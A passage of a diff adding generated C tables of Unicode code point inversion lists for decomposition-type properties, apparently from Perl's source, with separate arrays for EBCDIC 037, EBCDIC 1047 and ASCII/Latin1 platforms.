+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__NONCANON_invlist[] = { /* for EBCDIC 037 */
+	377,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x37A,
+	0x37B,
+	0x384,
+	0x385,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9B,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FFE,
+	0x1FFF,
+	0x2002,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2128,
+	0x2129,
+	0x212C,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB20,
+	0xFB2A,
+	0xFB4F,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__NONE_invlist[] = { /* for ASCII/Latin1 */
+	781,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0xC6,
+	0xC7,
+	0xD0,
+	0xD1,
+	0xD7,
+	0xD9,
+	0xDE,
+	0xE0,
+	0xE6,
+	0xE7,
+	0xF0,
+	0xF1,
+	0xF7,
+	0xF9,
+	0xFE,
+	0xFF,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x141,
+	0x143,
+	0x14A,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x180,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1C4,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x587,
+	0x588,
+	0x622,
+	0x627,
+	0x675,
+	0x679,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x10FC,
+	0x10FD,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309B,
+	0x309D,
+	0x309E,
+	0x30A0,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__NONE_invlist[] = { /* for EBCDIC 1047 */
+	779,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xCB,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xEA,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x141,
+	0x143,
+	0x14A,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x180,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1C4,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x587,
+	0x588,
+	0x622,
+	0x627,
+	0x675,
+	0x679,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x10FC,
+	0x10FD,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
